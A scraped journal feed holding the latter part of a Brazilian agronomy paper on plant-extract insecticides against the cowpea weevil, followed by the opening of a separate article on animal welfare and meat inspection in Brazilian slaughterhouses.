<p class="wp-block-paragraph">Essas plantas possuem compostos como alcaloides pirrolizidínicos, presentes em <em>Heliotropium indicum</em>, e ephedrina e flavonoides, encontrados em <em>Sida cordifolia</em>, os quais estão associados à ação neurotóxica e desreguladora do sistema endócrino dos insetos (CASTRO, 2013; ALMEIDA, 2003).</p>



<p class="wp-block-paragraph">A facilidade de cultivo, a adaptação às condições climáticas locais e a compatibilidade com práticas agroecológicas fazem dessas espécies aliadas importantes no desenvolvimento de soluções sustentáveis de controle de pragas.</p>



<p class="wp-block-paragraph">2.5. ESTUDOS EXPERIMENTAIS E APLICAÇÃO PRÁTICA EM AMBIENTES AGRÍCOLAS</p>



<p class="wp-block-paragraph">Diversos ensaios experimentais reforçam a viabilidade do uso de óleos essenciais e extratos vegetais como substitutos aos produtos sintéticos no controle do gorgulho-do-feijão. Em pesquisa conduzida por Rodrigues (2022), o uso de óleo essencial de <em>Protium heptaphyllum</em> causou mortalidade superior a 90% dos adultos de C. maculatus após 48 horas de exposição. Resultados semelhantes foram obtidos com o uso de óleo de <em>Ziziphus joazeiro</em>, demonstrando o potencial da flora nativa brasileira nesse campo (LIMA, 2017).</p>



<p class="wp-block-paragraph">Além da eficácia em condições laboratoriais, estudos como o de Brito (2022) avaliaram a persistência dos compostos ativos e sua compatibilidade com a germinação das sementes, um critério essencial para o uso em grãos destinados ao replantio. Nesses testes, os extratos vegetais demonstraram boa estabilidade e ausência de fitotoxicidade, favorecendo sua adoção em sistemas agroecológicos.</p>



<p class="wp-block-paragraph">O trabalho de Silva (2020) avaliou diferentes formulações com extratos secos, óleos fixos e óleos essenciais de diversas espécies, incluindo aplicações diretas nos grãos e por contato residual. A pesquisa identificou que os tratamentos com maiores concentrações alcançaram mortalidade acima de 95% em <em>C. maculatus</em>, com custo operacional reduzido.</p>



<p class="wp-block-paragraph">2.6. PERSPECTIVAS PARA O MANEJO INTEGRADO DE PRAGAS COM PLANTAS INSETICIDAS</p>



<p class="wp-block-paragraph">O uso de extratos vegetais integra os princípios do Manejo Integrado de Pragas (MIP), que busca equilibrar eficácia, segurança e sustentabilidade. Em vez de eliminar completamente os insetos com químicos agressivos, o MIP propõe manter as populações de pragas abaixo do nível de dano econômico, utilizando múltiplas ferramentas, incluindo controle biológico, práticas culturais e produtos naturais (FERREIRA, 2023).</p>



<p class="wp-block-paragraph">Dentro dessa abordagem, os óleos essenciais e extratos botânicos se destacam por não causarem resíduos químicos persistentes, terem baixa toxicidade para organismos não-alvo e favorecerem a biodiversidade no agroecossistema. Segundo Brito (2022), sua adoção é particularmente vantajosa em comunidades rurais e projetos de agricultura familiar, onde há menor acesso a defensivos agrícolas comerciais.</p>



<p class="wp-block-paragraph">Todavia, ainda existem desafios, como a padronização da produção de extratos, a formulação adequada para aplicação em larga escala e a regulamentação legal para seu uso comercial. Nesse sentido, a pesquisa científica tem papel fundamental em desenvolver protocolos seguros, eficientes e economicamente viáveis para o uso de bioinseticidas derivados de plantas.</p>



<p class="wp-block-paragraph"><strong>3  METODOLOGIA </strong></p>



<p class="wp-block-paragraph"><strong>COLETA DAS ESPÉCIES VEGETAIS UTILIZADAS E EXTRAÇÃO DOS ÓLEOS</strong></p>



<p class="wp-block-paragraph">Para produção dos extratos etanólico (EE) utilizou-se 10 kg de parte aérea e raiz de Malva-branca (<em>Sida cordifolia</em>) e Crista-de-galo (<em>Heliotropium indicum</em> L.) que foram coletadas, trituradas ainda verdes. Para o EE o material vegetal foi imerso em etanol 76,6%, após 72h foi realizado a filtragem, descartando-se os materiais sólidos, enquanto o solvente foi evaporado, em banho maria, a uma temperatura de 70 ºC, obtendo extratos etanólico brutos de consistência pastosa, das espécies já mencionadas.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1</strong> &#8211; Composição dos tratamentos utilizados no experimento, com o uso de extratos etanolicos de malva-branca (<em>Sida cordifolia</em>) e crista-de-galo (<em>Heliotropium indicum</em> L.), para teste de mortalidade em <em>Callosobruchus maculatus</em>, da cultura de feijão caupi.</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="850" height="176" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-169.png" alt="" class="wp-image-265291" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-169.png 850w, https://revistaft.com.br/wp-content/uploads/2026/02/image-169-300x62.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-169-768x159.png 768w" sizes="(max-width: 850px) 100vw, 850px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Elaborado pelos autores</p>



<p class="wp-block-paragraph"><strong>COLETA E CRIAÇÃO DOS INSETOS</strong></p>



<p class="wp-block-paragraph">Os espécimes de <em>Callosobruchus maculatus</em> serão coletados em amostras do feijão caupi, obtidas no centro de abastecimento da cidade de Irecê e/ou comunidades rurais do município e levados ao laboratório e acondicionados em potes plásticos fechados contendo feijão, no qual serão feitos furos na tampa para permitir a circulação do ar. Os potes serão mantidos em sala com temperatura ambiente ou B.O.D. Constantemente realizara-se a troca dos insetos entre os potes, propiciando a manutenção de múltiplas gerações durante o experimento.</p>



<p class="wp-block-paragraph">A identificação dos insetos ocorrerá segundo literatura especializada de Athié e Paula (2002).</p>



<p class="wp-block-paragraph"><strong>TESTE DE MORTALIDADE</strong></p>



<p class="wp-block-paragraph">Para a realização dos testes preliminares foi utilizado o método de exposição à superfície contaminada. Placas de petri de 9,0 cm de diâmetro serão forradas com papel filtro e colocados dez grãos de feijão caupi sadios por placa. Com o auxílio de uma micropipeta, cada placa foi embebida com cada dose (tabela 1) da solução contendo EE, em seguida foram colocados dez espécimes adultos não sexados de <em>Callosobruchus maculatus</em> por placa. As placas foram cobertas com tecido do tipo <em>voil</em> preso por um elástico, permitindo a circulação de ar. Foi realizada a contagem cumulativa dos insetos 12, 24, 48 e 72 horas após a aplicação dos tratamentos. Como controles foram utilizados água destilada. Para avaliação da mortalidade foram considerados vivos todos os insetos que move-se qualquer parte do corpo mesmo quando estimulados (SANTOS <em>et al</em>.,2007).</p>



<p class="wp-block-paragraph">Os dados foram submetidos ao teste F, com níveis de significância de 0,05% para a realização da análise de variância (ANOVA). As médias das variáveis foram comparadas utilizando o teste de scott-knott a 5% de probabilidade. As análises estatísticas foram conduzidas utilizando o software SISVAR, versão 5.6 (Ferreira, 2011).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4  RESULTADOS E DISCUSSÕES OU ANÁLISE DOS DADOS</strong></p>



<p class="wp-block-paragraph">Os resultados obtidos demonstraram que os extratos e óleos essenciais de diferentes espécies vegetais apresentam potencial significativo no controle de <em>Callosobruchus maculatus</em>, configurando-se como alternativas promissoras ao uso de inseticidas sintéticos. Entre as espécies avaliadas, <em>Jatropha gossypiifolia</em> (pinhão-roxo) destacou-se por causar elevada mortalidade e redução na oviposição, atribuída à presença de compostos diterpenoides e alcaloides com ação tóxica direta sobre os insetos (ALVES <em>et al</em>., 2020).&nbsp;</p>



<p class="wp-block-paragraph">Os resultados demonstraram efeito significativo dos extratos etanólicos de crista-degalo (<em>Heliotropium indicum</em> L.) e de malva-branca (<em>Sida cordifolia</em>) sobre adultos do inseto, evidenciando resposta dependente da dose e do tempo de exposição (Tabela 2; Gráficos 1 e 2). De modo geral, verificou-se incremento progressivo da mortalidade ao longo das leituras de 12, 24, 48 e 72 horas, principalmente nos tratamentos com maior concentração (2,0%), indicando ação inseticida de caráter cumulativo.</p>



<p class="wp-block-paragraph">Na Tabela 2 observa-se que o tratamento T1, correspondente à maior dose do extrato de <em>H. indicum</em>, promoveu mortalidade média de 9,25 insetos já nas primeiras 12 horas, alcançando 10,00 indivíduos a partir de 24 horas, diferindo estatisticamente dos tratamentos de menor concentração pelo critério de Scott-Knott (p ≤ 0,05). Resultado semelhante foi verificado para o tratamento T3, confirmando elevada eficiência do extrato mesmo em curto período de exposição. Em contrapartida, o tratamento testemunha (T0) apresentou baixa mortalidade, variando de 1,50 a 5,00 insetos, o que reforça que o efeito observado decorre da ação dos compostos bioativos presentes nos extratos e não de fatores ambientais.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 2</strong> – Valores médios obtidos do teste de mortalidade em <em>Callosobruchus maculatus</em>, da cultura de feijão caupi, submetido a doses de extrato etanolicos de malva-branca (<em>Sida cordifolia</em>) e crista-de-galo (<em>Heliotropium indicum</em> L.).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="696" height="245" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-170.png" alt="" class="wp-image-265292" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-170.png 696w, https://revistaft.com.br/wp-content/uploads/2026/02/image-170-300x106.png 300w" sizes="(max-width: 696px) 100vw, 696px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Médias seguidas pela mesma letra minúscula na coluna pertencem ao mesmo agrupamento pelo Critério de Scott-Knott ao nível de 5% de probabilidade pelo teste F. CV (%): coeficiente de variação.</p>



<p class="wp-block-paragraph">O Gráfico 1 evidencia de forma visual a tendência crescente da mortalidade em função do aumento da dose do extrato de crista-de-galo. A concentração de 2,0% manteve mortalidade máxima em todas as leituras, enquanto a dose de 0,5% apresentou efeito intermediário e progressivo, alcançando média de 5,75 insetos após 72 horas. Esses resultados indicam relação dose-resposta bem definida, aspecto fundamental para a recomendação de uso em condições práticas.</p>



<p class="wp-block-paragraph">Para o extrato de malva-branca (<em>S. cordifolia</em>), apresentado no Gráfico 2, observou-se padrão semelhante, porém com mortalidade ligeiramente inferior à obtida com <em>H. indicum</em>. A dose de 2,0% resultou em 8,25 insetos mortos nas primeiras 12 horas e atingiu 10,00 aos 72 horas. Já a concentração de 0,5% promoveu mortalidade gradual de 2,50 para 8,00 insetos no mesmo período. Esses dados indicam que, embora ambas as espécies sejam promissoras, o extrato de crista-de-galo apresentou maior rapidez de ação.</p>



<p class="wp-block-paragraph">O coeficiente de variação obtido (12,13 a 26,70%) indica precisão experimental satisfatória para ensaios biológicos com insetos, cujos valores tendem a apresentar maior variabilidade em função do comportamento dos organismos avaliados. A separação de médias pelo teste de Scott-Knott confirmou diferenças significativas entre as doses, validando estatisticamente a eficácia dos tratamentos.</p>



<p class="wp-block-paragraph">Comparando-se os dois extratos, verifica-se que ambos apresentaram potencial para o controle de <em>C. maculatus</em>, com destaque para <em>H. indicum</em>, que alcançou mortalidade total em menor tempo.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 1 –</strong> Mortalidade média obtidos do teste de mortalidade em <em>Callosobruchus maculatus</em>, da cultura de feijão caupi, submetido a doses de extrato etanolico de crista-de-galo <em>(Heliotropium indicum L</em>.).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="733" height="459" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-171.png" alt="" class="wp-image-265293" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-171.png 733w, https://revistaft.com.br/wp-content/uploads/2026/02/image-171-300x188.png 300w" sizes="(max-width: 733px) 100vw, 733px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Elaborado pelo Autor, 2024.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Gráfico 2</strong> – Mortalidade média obtidos do teste de mortalidade em <em>Callosobruchus maculatus,</em> da cultura de feijão caupi, submetido a doses de extrato etanolico de malva-branca (<em>Sida cordifolia</em>).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="692" height="461" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-172.png" alt="" class="wp-image-265294" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-172.png 692w, https://revistaft.com.br/wp-content/uploads/2026/02/image-172-300x200.png 300w" sizes="(max-width: 692px) 100vw, 692px" /></figure>



<p class="has-text-align-center wp-block-paragraph">Fonte: Elaborado pelo Autor, 2024.</p>



<p class="wp-block-paragraph">De forma semelhante, <em>Cnidoscolus quercifolius</em>, espécie nativa do semiárido nordestino, apresentou efeito repelente e inibição alimentar em adultos, devido à ação de triterpenos e compostos fenólicos, o que reforça seu potencial no manejo agroecológico (ALVES <em>et al</em>., 2020). Já o óleo essencial de Cymbopogon nardus (capim-citronela) demonstrou alta toxicidade e capacidade repelente, reduzindo significativamente a fecundidade de <em>C. maculatus</em> em virtude da ação do citronelal, seu principal componente ativo (ALVES, 2015).&nbsp;</p>



<p class="wp-block-paragraph">Por sua vez, o óleo essencial de Ageratum conyzoides (mentrasto) mostrou eficácia no controle de adultos e larvas, com efeito fumigante e de fácil aplicação em ambientes de armazenamento (SILVA, 2019). Por fim, o extrato metanólico de <em>Ziziphus joazeiro</em> (juazeiro) apresentou mortalidade expressiva e inibição da postura, associadas à presença de saponinas e alcaloides, além de boa estabilidade química em condições de armazenamento (LIMA, 2017). Em conjunto, esses resultados confirmam o potencial dos extratos vegetais como estratégias sustentáveis, acessíveis e ambientalmente seguras no manejo de pragas de grãos armazenados, especialmente em sistemas de produção familiar (COSTA, 2021; BRITO, 2022).</p>



<p class="wp-block-paragraph"><strong>5  CONSIDERAÇÕES FINAIS</strong></p>



<p class="wp-block-paragraph">Os resultados desta pesquisa evidenciam, o potencial promissor, inseticida dos extratos etanólicos de <em>Sida cordifolia</em> (malva-branca) e <em>Heliotropium indicum</em> (crista-de-galo) no controle de <em>Callosobruchus maculatus</em>, inseto-praga de elevada importância econômica e agronômica no armazenamento do feijão-caupi (<em>Vigna unguiculata</em>). A progressiva mortalidade observada ao longo das 72 horas de exposição, com destaque para os tratamentos de maior concentração, revela a presença de compostos bioativos altamente eficazes, com efeitos cumulativos sobre os adultos da espécie-alvo.</p>



<p class="wp-block-paragraph">Essa eficácia, somada à rusticidade, disponibilidade e adaptabilidade das plantas utilizadas, posiciona essas espécies espontâneas como aliadas estratégicas para o desenvolvimento de tecnologias sustentáveis no contexto da agricultura familiar, especialmente nas regiões semiáridas do Brasil. Os extratos avaliados mostraram-se não apenas efetivos, mas também viáveis do ponto de vista econômico, ambiental e social, alinhando-se aos princípios do Manejo Integrado de Pragas (MIP) e da agroecologia.</p>



<p class="wp-block-paragraph">Ressalta-se, ainda, que o uso racional de extratos vegetais representa uma ruptura importante com a dependência histórica de inseticidas sintéticos, os quais, embora eficazes a curto prazo, impõem custos ambientais, sanitários e econômicos significativos. A adoção de estratégias fitossanitárias baseadas em produtos naturais reforça o compromisso com uma agricultura resiliente, segura e socialmente justa.</p>



<p class="wp-block-paragraph">Entretanto, para que a aplicação desses bioinsumos seja efetivamente integrada às práticas agrícolas em larga escala, torna-se imprescindível o aprofundamento em estudos complementares que envolvam a caracterização fitoquímica detalhada, a avaliação da estabilidade dos compostos, os impactos sobre organismos não alvo, bem como a padronização dos métodos de extração e aplicação.</p>



<p class="wp-block-paragraph">Dessa forma, os achados desta pesquisa não apenas validam o uso de <em>Sida cordifolia</em> e <em>Heliotropium indicum</em> como alternativas sustentáveis no controle de C. maculatus, como também contribuem significativamente para a consolidação de práticas agrícolas menos agressivas, mais eficientes e profundamente conectadas à realidade dos produtores do semiárido brasileiro.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">ALMEIDA, D. N. de. Inseticidas de origem vegetal: panorama histórico e perspectivas futuras. Revista Brasileira de Agroecologia, v. 1, n. 2, p. 23-28, 2003.</p>



<p class="wp-block-paragraph">ALMEIDA, S. A. <strong>Extratos vegetais no controle ao Callosobruchus maculatus (Fabr., 1775) e seus efeitos na conservação do feijão Vigna unguiculata (L. Walp.).</strong> Campina Grande: Universidade Federal de Campina Grande, 2003.</p>



<p class="wp-block-paragraph">ALVES, M. S. Óleo essencial de capim-limão como protetor de sementes e grãos armazenados: uma abordagem da biologia química e molecular ao manejo agroecológico do caruncho Callosobruchus maculatus. Seropédica: Universidade Federal Rural do Rio de Janeiro, 2021.</p>



<p class="wp-block-paragraph">ALVES, Marcela de Souza et al. Óleo essencial de capim-limão como protetor de sementes e grãos armazenados: uma abordagem da biologia química e molecular ao manejo agroecológico do carucho do feijão-caupi. 2021.</p>



<p class="wp-block-paragraph">ALVES, O. M. et al. <strong>Teste biológico de extratos vegetais de pinhão roxo (<em>Jatropha gossypiifolia</em>) e Cnidoscolus quercifolius sobre o caruncho <em>Callosobruchus maculatus</em>.</strong> Cadernos de Agroecologia, v. 15, n. 3, 2020. Disponível em: https://cadernos.aba-agroecologia.org.br. Acesso em: 15 jan. 2026.</p>



<p class="wp-block-paragraph">ATHIÉ, I.; PAULA, D.C. <strong>Insetos de Grãos Armazenados: Aspectos Biológicos e Identificação</strong>. 2 ed. São Paulo: Livraria Varela; 2002. 244 p.</p>



<p class="wp-block-paragraph">BRITO, Rodrigo de Carvalho. <strong>Uso de óleos essenciais e α-pineno no manejo de pragas de produtos armazenados e seus efeitos sobre a germinação do milho e feijão-caupi</strong>. 2022. Tese de Doutorado.</p>



<p class="wp-block-paragraph">BRITO, S. S. S. et al. Bioatividade de óleos essenciais sobre Zabrotes subfasciatus Boh. (Coleoptera: Chrysomelidae) em feijão-comum armazenado. <strong>Revista Brasileira de Ciências Agrárias</strong>. v.10, n.2, p.243-248, 2015.</p>



<p class="wp-block-paragraph">CASTRO, F. A. Controle alternativo de insetos-praga com produtos naturais: inseticidas botânicos no manejo integrado de pragas. Agroecologia Hoje, v. 2, n. 1, p. 45-52, 2013.</p>



<p class="wp-block-paragraph">CASTRO, Maria de Jesus Passos de. Efeitos de genótipos de feijão caupi e de espécies botânicas em diferentes formulações sobre Callosobruchus maculatus (FABR.). 2013.</p>



<p class="wp-block-paragraph">COMPANHIA NACIONAL DE ABASTECIMENTO (CONAB). <em>Acompanhamento da safra brasileira de grãos 2023/2024 – 5º levantamento</em>. Brasília, DF: Conab, 2024. Disponível em: <a href="https://www.conab.gov.br/">https://www.conab.gov.br</a><a href="https://www.conab.gov.br/">.</a> Acesso em: 15 jan. 2026.</p>



<p class="wp-block-paragraph">COSTA, Jessica Mariana Silva et al. Bioatividade de pós de espécies vegetais no manejo de Callosobruchus maculatus (Fabr., 1775)(Coleoptera: Chrysomelidae, Bruchinae), EM GRÃOS DE FEIJÃO CAUPI (Vigna unguiculata). 2021.</p>



<p class="wp-block-paragraph">CRUZ, Chistopher Stallone et al. Repelência do Callosobruchus maculatus (Coleoptera: Bruchidae) sobre grãos de feijão caupi tratado com óleos vegetais. <strong>Revista Verde de Agroecologia e Desenvolvimento Sustentável</strong>, v. 7, n. 3, p. 01-05, 2012.</p>



<p class="wp-block-paragraph">DA SILVA, Antonielson Bezerra et al. Bioatividade do óleo essencial de Croton blanchetianus Baill (Euphorbiaceae) sobre Callosobruchus maculatus Fabricius, 1775 (Coleoptera: Chrysomelidae). <strong>Nativa</strong>, v. 8, n. 4, 2020.</p>



<p class="wp-block-paragraph">DA SILVA, Cristiano Pereira et al. Extratos vegetais de espécies de plantas do Cerrado SulMatogrossense com potencial de bioherbicida e bioinseticida. <strong>Uniciências</strong>, v. 21, n. 1, p. 2534, 2017.</p>



<p class="wp-block-paragraph">DA SILVA, R. S. Inseticidas naturais e a sustentabilidade agrícola: desafios e potencialidades. Revista Brasileira de Agroecologia, v. 12, n. 3, p. 33-40, 2017.</p>



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<p class="wp-block-paragraph">FERREIRA, A. L. Manejo integrado de pragas: fundamentos e aplicações na agricultura sustentável. São Paulo: Editora Científica Agronômica, 2023.</p>



<p class="wp-block-paragraph">FERREIRA, Stefany Ribeiro; MARTINELLI-SENEME, Adriana; LEITE, Suzany Aguiar. Produtos alternativos no controle de pragas e patógenos em grãos armazenados de milho e feijão. <strong>Nucleus</strong>, v. 20, n. 2, p. 19-44, 2023.</p>



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<p class="wp-block-paragraph">SANTOS, Vanusa Suelma; SILVA, Paulo Henrique; PÁDUA, Luiz Evaldo. Bioatividade do óleo essencial de Lippia sidoides Cham.(alecrim-pimenta) sobre Callosobruchus maculatus (Fabr.)(Coleoptera: Crysomelidae). <strong>EntomoBrasilis</strong>, v. 11, n. 2, p. 113-117, 2018.</p>



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<p class="wp-block-paragraph">SILVA, J. A.; FREITAS, A. D.; MENDES, C. F. <strong>Efeitos de Callosobruchus maculatus sobre a qualidade fisiológica e nutricional do feijão-caupi armazenado</strong>. Revista Ciência Agrícola, v.19, n.2, p. 45–56, 2021. DOI: 10.1590/ciagric.2021.45.</p>



<p class="wp-block-paragraph">SILVA, Ozael David Valério da. TOXICIDADE DE ÓLEOS ESSENCIAIS SOBRE CALLOSOBRUCHUS MACULATUS          (FABR., 1775) EM GRÃOS DE VIGNA UNGUICULATA (L.) WALP. 2020.</p>



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<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Engenheiro Agrônomo pela da Faculdade de Irecê (FAI). Orientando. Integrantes do Grupo de Estudos e Pesquisa Agropecuária (GEPAGRO). E-mails: leo.agronomo1@gmail.com.<br><sup>2</sup>Engenheiros Agrônomos pela da Faculdade de Irecê (FAI). Integrantes do Grupo de Estudos e Pesquisa Agropecuária (GEPAGRO). E-mails: leo.agronomo1@gmail.com; emersonnunes077@gmail.com; aliciagoncalves.8320@gmail.com; tailande97@gmail.com; eng.agronomoitalorafael@gmail.com.<br><sup>3</sup>Discente do Curso Superior de Engenharia agronômica da Faculdade de Irecê (FAI). Integrante do Grupo de Estudos e<br>Pesquisa Agropecuária (GEPAGRO). E-mail: 20237404@faifaculdade.com.br<br><sup>4</sup>Mestranda em Defesa Agropecuária da Universidade Federal do Recôncavo da Bahia (UFRB), Campus de Cruz das Almas, Bahia. Integrante do Grupo de Estudos e Pesquisa Agropecuária (GEPAGRO)E-mail: alecrimcarina98@gmail.com.<br><sup>5</sup>Docente do Curso Superior de Engenharia agronômica da Faculdade de Irecê (FAI). Orientador. Coordenador do Grupo de Estudos e Pesquisa Agropecuária (GEPAGRO). Doutorando em Defesa Agropecuária da Universidade Federal do Recôncavo da Bahia (UFRB). E-mail: lucas.barbosa@@faifaculdade.com.br</p>
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		<title>INSPEÇÃO DE ALIMENTOS E BEM-ESTAR ANIMAL: DESAFIOS PARA A QUALIDADE DA CARNE NO BRASIL</title>
		<link>https://revistaft.com.br/inspecao-de-alimentos-e-bem-estar-animal-desafios-para-a-qualidade-da-carne-no-brasil/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Wed, 11 Feb 2026 15:56:02 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
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<p class="wp-block-paragraph">INSPECTION OF FOODS AND ANIMAL WELFARE: CHALLENGES FOR MEAT QUALITY IN BRAZIL</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202602111255</p>



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<p class="has-text-align-right wp-block-paragraph">Déborah Lucena Pacheco</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO</strong></p>



<p class="wp-block-paragraph">O presente artigo aborda a interface entre a inspeção de alimentos e o bem-estar animal no contexto do abate industrial, destacando os desafios existentes para a garantia da qualidade da carne no Brasil. Parte-se do pressuposto de que o bem-estar animal, especialmente nas etapas de manejo pré-abate, insensibilização e sangria, exerce influência direta sobre parâmetros físico-químicos e sensoriais da carne, com reflexos econômicos, sanitários e éticos relevantes. O objetivo do trabalho é analisar, à luz da literatura científica e da legislação vigente, de que forma o bem-estar animal tem sido incorporado aos processos de inspeção de alimentos e quais são os principais entraves para sua efetiva consolidação nos frigoríficos brasileiros. Trata-se de um estudo qualitativo, de natureza teórico-reflexiva, desenvolvido por meio de revisão narrativa da literatura científica e análise documental de normativas nacionais e internacionais relacionadas ao abate humanitário. A discussão fundamenta-se em evidências consolidadas que demonstram a associação entre estresse pré-abate, alterações como carne DFD e PSE, aumento de perdas tecnológicas e comprometimento da imagem do produto cárneo junto ao mercado consumidor. São examinados, ainda, os limites operacionais e institucionais da atuação da inspeção oficial, bem como a necessidade de maior integração entre exigências legais, capacitação técnica de operadores e adoção de boas práticas baseadas em ciência. Conclui-se que o bem-estar animal deve ser compreendido não apenas como um imperativo ético e legal, mas também como um indicador estratégico de qualidade da carne, cuja incorporação efetiva aos sistemas de inspeção pode contribuir para a melhoria do produto final, o fortalecimento da competitividade da indústria frigorífica brasileira e o atendimento às crescentes demandas da sociedade por sistemas de produção mais responsáveis e sustentáveis.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>: Bem-estar animal. Inspeção de alimentos. Qualidade da carne. Manejo pré-abate. Frigoríficos.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT</strong></p>



<p class="wp-block-paragraph">This article examines the interface between food inspection and animal welfare within the context of industrial slaughter, highlighting the existing challenges for ensuring meat quality in Brazil. The study is based on the premise that animal welfare, particularly during pre-slaughter handling, stunning, and bleeding procedures, directly influences physicochemical and sensory parameters of meat, generating significant economic, sanitary, and ethical impacts. The objective of this work is to analyze, in light of scientific literature and current legislation, how animal welfare principles have been incorporated into food inspection processes and to identify the main barriers to their effective implementation in Brazilian slaughterhouses. The discussion is grounded in consolidated scientific evidence demonstrating the association between pre-slaughter stress and the occurrence of meat quality defects, such as dark, firm, and dry (DFD) and pale, soft, and exudative (PSE) meat, as well as increased technological losses and reduced consumer acceptance. The study also examines operational and institutional limitations affecting official inspection systems and highlights the need for stronger integration between regulatory requirements, workforce training, and science-based good handling practices. The findings indicate that animal welfare should be recognized not only as an ethical and legal obligation but also as a strategic indicator of meat quality. Its effective incorporation into inspection systems may contribute to improving final product quality, strengthening the competitiveness of the Brazilian meat industry, and meeting increasing societal demands for responsible and sustainable animal production systems.</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Animal welfare. Food inspection. Meat quality. Pre-slaughter management. Slaughterhouses.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">O bem-estar animal tem assumido papel central nas discussões relacionadas à produção de alimentos de origem animal, especialmente no contexto dos frigoríficos, onde as práticas de manejo e abate impactam diretamente aspectos éticos, sanitários, produtivos e econômicos da cadeia produtiva. Nas últimas décadas, a crescente demanda social por sistemas produtivos mais responsáveis, aliada ao fortalecimento de normas nacionais e internacionais, tem ampliado a exigência por práticas que garantam condições adequadas aos animais desde o manejo pré-abate até o momento da insensibilização e sangria (BROOM, 1991; GRANDIN, 2010).</p>



<p class="wp-block-paragraph">No ambiente frigorífico, o bem-estar animal está diretamente relacionado às condições de transporte, descanso, condução, contenção e insensibilização dos animais. Procedimentos inadequados nessas etapas podem gerar elevados níveis de estresse, dor e sofrimento, comprometendo não apenas a integridade física e emocional dos animais, mas também a qualidade da carne, a eficiência produtiva e a imagem institucional das empresas (GRANDIN, 2014). Nesse sentido, o manejo pré-abate configura-se como uma das fases mais críticas do processo industrial, exigindo controle rigoroso, infraestrutura adequada e equipes devidamente capacitadas.</p>



<p class="wp-block-paragraph">No Brasil, o tema é regulamentado por instrumentos legais como a Instrução Normativa nº 3/2000 e a Instrução Normativa nº 56/2008, do Ministério da Agricultura e Pecuária, que estabelecem diretrizes para o abate humanitário e o manejo adequado dos animais destinados ao consumo. Além disso, organismos internacionais, como a Organização Mundial de Saúde Animal, reforçam a necessidade de adoção de práticas baseadas em evidências científicas, voltadas à minimização do sofrimento animal e à melhoria contínua dos processos produtivos (WOAH, 2023). Contudo, apesar da existência de normativas claras, observa-se que a efetividade de sua aplicação ainda enfrenta desafios relacionados à gestão operacional, à fiscalização e, sobretudo, à capacitação dos profissionais envolvidos.</p>



<p class="wp-block-paragraph">Diante desse cenário, emerge a seguinte problematização: em que medida as práticas de manejo pré-abate e insensibilização adotadas em frigoríficos estão alinhadas aos princípios do bem-estar animal preconizados pela literatura científica e pelas normativas vigentes, e quais fatores organizacionais e operacionais influenciam a efetiva implementação dessas práticas? Essa questão revela a necessidade de uma análise crítica que vá além do cumprimento formal das normas, considerando também aspectos relacionados à cultura organizacional, à formação das equipes e à gestão dos processos produtivos.</p>



<p class="wp-block-paragraph">Justifica-se a realização deste estudo pela relevância científica e social do tema, uma vez que a promoção do bem-estar animal contribui simultaneamente para a ética na produção, a qualidade dos produtos de origem animal, a sustentabilidade do sistema produtivo e a aceitação do consumidor. Além disso, a compreensão dos desafios enfrentados pelos frigoríficos na aplicação prática dos princípios de bem-estar animal pode subsidiar ações de melhoria contínua, políticas públicas e estratégias de capacitação profissional.</p>



<p class="wp-block-paragraph">Assim, o objetivo deste trabalho é analisar, sob uma perspectiva qualitativa e teórico-reflexiva, os principais aspectos relacionados ao bem-estar animal em frigoríficos, com ênfase no manejo pré-abate e nos procedimentos de insensibilização, discutindo sua relação com a literatura científica, as normativas vigentes e as práticas de gestão e capacitação. Ao final, busca-se contribuir para o aprofundamento da compreensão sobre o tema e para o fortalecimento de práticas mais éticas, eficientes e sustentáveis no contexto da indústria frigorífica.</p>



<p class="wp-block-paragraph"><strong>2. METODOLOGIA</strong></p>



<p class="wp-block-paragraph">O presente estudo caracteriza-se como uma pesquisa qualitativa, de natureza teórico-reflexiva, fundamentada em revisão narrativa da literatura científica e análise documental de normativas nacionais e internacionais relacionadas ao bem-estar animal e à inspeção de alimentos no contexto do abate industrial.</p>



<p class="wp-block-paragraph">A busca bibliográfica foi realizada em bases de dados científicas reconhecidas, incluindo SciELO, Google Scholar e periódicos especializados na área de Medicina Veterinária e Ciência dos Alimentos. Foram selecionados artigos científicos, livros técnicos, documentos institucionais e legislações pertinentes ao tema, priorizando publicações com relevância científica, impacto acadêmico e aderência ao objeto de estudo.</p>



